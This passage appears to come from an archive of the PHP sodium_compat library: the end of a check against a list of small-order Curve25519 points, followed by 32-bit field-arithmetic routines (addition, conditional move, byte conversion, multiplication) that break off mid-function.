                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var array<int, array<int, int>> $blocklist */
        $countBlocklist = count($blocklist);

        for ($i = 0; $i < $countBlocklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ $blocklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }
}
Core32/Curve25519.php000064400000403556152222652550010027 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core32_Curve25519 extends ParagonIE_Sodium_Core32_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_0()
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32()
            )
        );
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_1()
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                ParagonIE_Sodium_Core32_Int32::fromInt(1),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32()
            )
        );
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_add(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g
    ) {
        $arr = array();
        for ($i = 0; $i < 10; ++$i) {
            $arr[$i] = $f[$i]->addInt32($g[$i]);
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $arr */
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($arr);
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g,
        $b = 0
    ) {
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        $h = array();
        for ($i = 0; $i < 10; ++$i) {
            if (!($f[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                throw new TypeError('Expected Int32');
            }
            if (!($g[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                throw new TypeError('Expected Int32');
            }
            $h[$i] = $f[$i]->xorInt32(
                $f[$i]->xorInt32($g[$i])->mask($b)
            );
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h);
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $h = clone $f;
        return $h;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte string.');
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $h0 */
        $h0 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_4($s)
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h1 */
        $h1 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 4, 3)) << 6
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h2 */
        $h2 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 7, 3)) << 5
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h3 */
        $h3 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 10, 3)) << 3
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h4 */
        $h4 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 13, 3)) << 2
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h5 */
        $h5 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_4(self::substr($s, 16, 4))
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h6 */
        $h6 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 20, 3)) << 7
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h7 */
        $h7 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 23, 3)) << 5
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h8 */
        $h8 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 26, 3)) << 4
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h9 */
        $h9 = ParagonIE_Sodium_Core32_Int32::fromInt(
            (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2
        );

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt32($carry9->mulInt(19, 5));
        $h9 = $h9->subInt32($carry9->shiftLeft(25));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt32($carry1);
        $h1 = $h1->subInt32($carry1->shiftLeft(25));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt32($carry3);
        $h3 = $h3->subInt32($carry3->shiftLeft(25));

        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt32($carry5);
        $h5 = $h5->subInt32($carry5->shiftLeft(25));

        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt32($carry7);
        $h7 = $h7->subInt32($carry7->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt32($carry0);
        $h0 = $h0->subInt32($carry0->shiftLeft(26));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt32($carry2);
        $h2 = $h2->subInt32($carry2->shiftLeft(26));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt32($carry4);
        $h4 = $h4->subInt32($carry4->shiftLeft(26));

        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt32($carry6);
        $h6 = $h6->subInt32($carry6->shiftLeft(26));

        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt32($carry8);
        $h8 = $h8->subInt32($carry8->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array($h0, $h1, $h2,$h3, $h4, $h5, $h6, $h7, $h8, $h9)
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core32_Curve25519_Fe $h)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int64[] $f
         * @var ParagonIE_Sodium_Core32_Int64 $q
         */
        $f = array();

        for ($i = 0; $i < 10; ++$i) {
            $f[$i] = $h[$i]->toInt64();
        }

        $q = $f[9]->mulInt(19, 5)->addInt(1 << 14)->shiftRight(25)
            ->addInt64($f[0])->shiftRight(26)
            ->addInt64($f[1])->shiftRight(25)
            ->addInt64($f[2])->shiftRight(26)
            ->addInt64($f[3])->shiftRight(25)
            ->addInt64($f[4])->shiftRight(26)
            ->addInt64($f[5])->shiftRight(25)
            ->addInt64($f[6])->shiftRight(26)
            ->addInt64($f[7])->shiftRight(25)
            ->addInt64($f[8])->shiftRight(26)
            ->addInt64($f[9])->shiftRight(25);

        $f[0] = $f[0]->addInt64($q->mulInt(19, 5));

        $carry0 = $f[0]->shiftRight(26);
        $f[1] = $f[1]->addInt64($carry0);
        $f[0] = $f[0]->subInt64($carry0->shiftLeft(26));

        $carry1 = $f[1]->shiftRight(25);
        $f[2] = $f[2]->addInt64($carry1);
        $f[1] = $f[1]->subInt64($carry1->shiftLeft(25));

        $carry2 = $f[2]->shiftRight(26);
        $f[3] = $f[3]->addInt64($carry2);
        $f[2] = $f[2]->subInt64($carry2->shiftLeft(26));

        $carry3 = $f[3]->shiftRight(25);
        $f[4] = $f[4]->addInt64($carry3);
        $f[3] = $f[3]->subInt64($carry3->shiftLeft(25));

        $carry4 = $f[4]->shiftRight(26);
        $f[5] = $f[5]->addInt64($carry4);
        $f[4] = $f[4]->subInt64($carry4->shiftLeft(26));

        $carry5 = $f[5]->shiftRight(25);
        $f[6] = $f[6]->addInt64($carry5);
        $f[5] = $f[5]->subInt64($carry5->shiftLeft(25));

        $carry6 = $f[6]->shiftRight(26);
        $f[7] = $f[7]->addInt64($carry6);
        $f[6] = $f[6]->subInt64($carry6->shiftLeft(26));

        $carry7 = $f[7]->shiftRight(25);
        $f[8] = $f[8]->addInt64($carry7);
        $f[7] = $f[7]->subInt64($carry7->shiftLeft(25));

        $carry8 = $f[8]->shiftRight(26);
        $f[9] = $f[9]->addInt64($carry8);
        $f[8] = $f[8]->subInt64($carry8->shiftLeft(26));

        $carry9 = $f[9]->shiftRight(25);
        $f[9] = $f[9]->subInt64($carry9->shiftLeft(25));

        $h0 = $f[0]->toInt32()->toInt();
        $h1 = $f[1]->toInt32()->toInt();
        $h2 = $f[2]->toInt32()->toInt();
        $h3 = $f[3]->toInt32()->toInt();
        $h4 = $f[4]->toInt32()->toInt();
        $h5 = $f[5]->toInt32()->toInt();
        $h6 = $f[6]->toInt32()->toInt();
        $h7 = $f[7]->toInt32()->toInt();
        $h8 = $f[8]->toInt32()->toInt();
        $h9 = $f[9]->toInt32()->toInt();

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
     * Is a field element negative? (1 = yes, 0 = no. Used in calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnegative(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnonzero(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        $str = self::fe_tobytes($f);
        /** @var string $zero */
        return !self::verify_32($str, $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g
    ) {
        /**
         * @var ParagonIE_Sodium_Core32_Int32[] $f
         * @var ParagonIE_Sodium_Core32_Int32[] $g
         * @var ParagonIE_Sodium_Core32_Int64 $f0
         * @var ParagonIE_Sodium_Core32_Int64 $f1
         * @var ParagonIE_Sodium_Core32_Int64 $f2
         * @var ParagonIE_Sodium_Core32_Int64 $f3
         * @var ParagonIE_Sodium_Core32_Int64 $f4
         * @var ParagonIE_Sodium_Core32_Int64 $f5
         * @var ParagonIE_Sodium_Core32_Int64 $f6
         * @var ParagonIE_Sodium_Core32_Int64 $f7
         * @var ParagonIE_Sodium_Core32_Int64 $f8
         * @var ParagonIE_Sodium_Core32_Int64 $f9
         * @var ParagonIE_Sodium_Core32_Int64 $g0
         * @var ParagonIE_Sodium_Core32_Int64 $g1
         * @var ParagonIE_Sodium_Core32_Int64 $g2
         * @var ParagonIE_Sodium_Core32_Int64 $g3
         * @var ParagonIE_Sodium_Core32_Int64 $g4
         * @var ParagonIE_Sodium_Core32_Int64 $g5
         * @var ParagonIE_Sodium_Core32_Int64 $g6
         * @var ParagonIE_Sodium_Core32_Int64 $g7
         * @var ParagonIE_Sodium_Core32_Int64 $g8
         * @var ParagonIE_Sodium_Core32_Int64 $g9
         */
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();
        $g0 = $g[0]->toInt64();
        $g1 = $g[1]->toInt64();
        $g2 = $g[2]->toInt64();
        $g3 = $g[3]->toInt64();
        $g4 = $g[4]->toInt64();
        $g5 = $g[5]->toInt64();
        $g6 = $g[6]->toInt64();
        $g7 = $g[7]->toInt64();
        $g8 = $g[8]->toInt64();
        $g9 = $g[9]->toInt64();
        $g1_19 = $g1->mulInt(19, 5); /* 2^4 <= 19 <= 2^5, but we only want 5 bits */
        $g2_19 = $g2->mulInt(19, 5);
        $g3_19 = $g3->mulInt(19, 5);
        $g4_19 = $g4->mulInt(19, 5);
        $g5_19 = $g5->mulInt(19, 5);
        $g6_19 = $g6->mulInt(19, 5);
        $g7_19 = $g7->mulInt(19, 5);
        $g8_19 = $g8->mulInt(19, 5);
        $g9_19 = $g9->mulInt(19, 5);
        $f1_2 = $f1->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f9_2 = $f9->shiftLeft(1);
        $f0g0    = $f0->mulInt64($g0, 27);
        $f0g1    = $f0->mulInt64($g1, 27);
        $f0g2    = $f0->mulInt64($g2, 27);
        $f0g3    = $f0->mulInt64($g3, 27);
        $f0g4    = $f0->mulInt64($g4, 27);
        $f0g5    = $f0->mulInt64($g5, 27);
        $f0g6    = $f0->mulInt64($g6, 27);
        $f0g7    = $f0->mulInt64($g7, 27);
        $f0g8    = $f0->mulInt64($g8, 27);
        $f0g9    = $f0->mulInt64($g9, 27);
        $f1g0    = $f1->mulInt64($g0, 27);
        $f1g1_2  = $f1_2->mulInt64($g1, 27);
        $f1g2    = $f1->mulInt64($g2, 27);
        $f1g3_2  = $f1_2->mulInt64($g3, 27);
        $f1g4    = $f1->mulInt64($g4, 30);
        $f1g5_2  = $f1_2->mulInt64($g5, 30);
        $f1g6    = $f1->mulInt64($g6, 30);
        $f1g7_2  = $f1_2->mulInt64($g7, 30);
        $f1g8    = $f1->mulInt64($g8, 30);
        $f1g9_38 = $g9_19->mulInt64($f1_2, 30);
        $f2g0    = $f2->mulInt64($g0, 30);
        $f2g1    = $f2->mulInt64($g1, 29);
        $f2g2    = $f2->mulInt64($g2, 30);
        $f2g3    = $f2->mulInt64($g3, 29);
        $f2g4    = $f2->mulInt64($g4, 30);
        $f2g5    = $f2->mulInt64($g5, 29);
        $f2g6    = $f2->mulInt64($g6, 30);
        $f2g7    = $f2->mulInt64($g7, 29);
        $f2g8_19 = $g8_19->mulInt64($f2, 30);
        $f2g9_19 = $g9_19->mulInt64($f2, 30);
        $f3g0    = $f3->mulInt64($g0, 30);
        $f3g1_2  = $f3_2->mulInt64($g1, 30);
        $f3g2    = $f3->mulInt64($g2, 30);
        $f3g3_2  = $f3_2->mulInt64($g3, 30);
        $f3g4    = $f3->mulInt64($g4, 30);
        $f3g5_2  = $f3_2->mulInt64($g5, 30);
        $f3g6    = $f3->mulInt64($g6, 30);
        $f3g7_38 = $g7_19->mulInt64($f3_2, 30);
        $f3g8_19 = $g8_19->mulInt64($f3, 30);
        $f3g9_38 = $g9_19->mulInt64($f3_2, 30);
        $f4g0    = $f4->mulInt64($g0, 30);
        $f4g1    = $f4->mulInt64($g1, 30);
        $f4g2    = $f4->mulInt64($g2, 30);
        $f4g3    = $f4->mulInt64($g3, 30);
        $f4g4    = $f4->mulInt64($g4, 30);
        $f4g5    = $f4->mulInt64($g5, 30);
        $f4g6_19 = $g6_19->mulInt64($f4, 30);
        $f4g7_19 = $g7_19->mulInt64($f4, 30);
        $f4g8_19 = $g8_19->mulInt64($f4, 30);
        $f4g9_19 = $g9_19->mulInt64($f4, 30);
        $f5g0    = $f5->mulInt64($g0, 30);
        $f5g1_2  = $f5_2->mulInt64($g1, 30);
        $f5g2    = $f5->mulInt64($g2, 30);
        $f5g3_2  = $f5_2->mulInt64($g3, 30);
        $f5g4    = $f5->mulInt64($g4, 30);
        $f5g5_38 = $g5_19->mulInt64($f5_2, 30);
        $f5g6_19 = $g6_19->mulInt64($f5, 30);
        $f5g7_38 = $g7_19->mulInt64($f5_2, 30);
        $f5g8_19 = $g8_19->mulInt64($f5, 30);
        $f5g9_38 = $g9_19->mulInt64($f5_2, 30);
        $f6g0    = $f6->mulInt64($g0, 30);
        $f6g1    = $f6->mulInt64($g1, 30);
        $f6g2    = $f6->mulInt64($g2, 30);
        $f6g3    = $f6->mulInt64($g3, 30);
        $f6g4_19 = $g4_19->mulInt64($f6, 30);
        $f6g5_19 = $g5_19->mulInt64($f6, 30);
        $f6g6_19 = $g6_19->mulInt64($f6, 30);
        $f6g7_19 = $g7_19->mulInt64($f6, 30);
        $f6g8_19 = $g8_19->mulInt64($f6, 30);
        $f6g9_19 = $g9_19->mulInt64($f6, 30);
        $f7g0    = $f7->mulInt64($g0, 30);
        $f7g1_2  = $g1->mulInt64($f7_2, 30);
        $f7g2    = $f7->mulInt64($g2, 30);
        $f7g3_38 = $g3_19->mulInt64($f7_2, 30);
        $f7g4_19 = $g4_19->mulInt64($f7, 30);
        $f7g5_38 = $g5_19->mulInt64($f7_2, 30);
        $f7g6_19 = $g6_19->mulInt64($f7, 30);
        $f7g7_38 = $g7_19->mulInt64($f7_2, 30);
        $f7g8_19 = $g8_19->mulInt64($f7, 30);
        $f7g9_38 = $g9_19->mulInt64($f7_2, 30);
        $f8g0    = $f8->mulInt64($g0, 30);
        $f8g1    = $f8->mulInt64($g1, 29);
        $f8g2_19 = $g2_19->mulInt64($f8, 30);
        $f8g3_19 = $g3_19->mulInt64($f8, 30);
        $f8g4_19 = $g4_19->mulInt64($f8, 30);
        $f8g5_19 = $g5_19->mulInt64($f8, 30);
        $f8g6_19 = $g6_19->mulInt64($f8, 30);
        $f8g7_19 = $g7_19->mulInt64($f8, 30);
        $f8g8_19 = $g8_19->mulInt64($f8, 30);
        $f8g9_19 = $g9_19->mulInt64($f8, 30);
        $f9g0    = $f9->mulInt64($g0, 30);
        $f9g1_38 = $g1_19->mulInt64($f9_2, 30);
        $f9g2_19 = $g2_19->mulInt64($f9, 30);
        $f9g3_38 = $g3_19->mulInt64($f9_2, 30);
        $f9g4_19 = $g4_19->mulInt64($f9, 30);
        $f9g5_38 = $g5_19->mulInt64($f9_2, 30);
        $f9g6_19 = $g6_19->mulInt64($f9, 30);
        $f9g7_38 = $g7_19->mulInt64($f9_2, 30);
        $f9g8_19 = $g8_19->mulInt64($f9, 30);
        $f9g9_38 = $g9_19->mulInt64($f9_2, 30);

        // $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h0 = $f0g0->addInt64($f1g9_38)->addInt64($f2g8_19)->addInt64($f3g7_38)
            ->addInt64($f4g6_19)->addInt64($f5g5_38)->addInt64($f6g4_19)
            ->addInt64($f7g3_38)->addInt64($f8g2_19)->addInt64($f9g1_38);

        // $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h1 = $f0g1->addInt64($f1g0)->addInt64($f2g9_19)->addInt64($f3g8_19)
            ->addInt64($f4g7_19)->addInt64($f5g6_19)->addInt64($f6g5_19)
            ->addInt64($f7g4_19)->addInt64($f8g3_19)->addInt64($f9g2_19);

        // $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h2 = $f0g2->addInt64($f1g1_2)->addInt64($f2g0)->addInt64($f3g9_38)
            ->addInt64($f4g8_19)->addInt64($f5g7_38)->addInt64($f6g6_19)
            ->addInt64($f7g5_38)->addInt64($f8g4_19)->addInt64($f9g3_38);

        // $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h3 = $f0g3->addInt64($f1g2)->addInt64($f2g1)->addInt64($f3g0)
            ->addInt64($f4g9_19)->addInt64($f5g8_19)->addInt64($f6g7_19)
            ->addInt64($f7g6_19)->addInt64($f8g5_19)->addInt64($f9g4_19);

        // $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
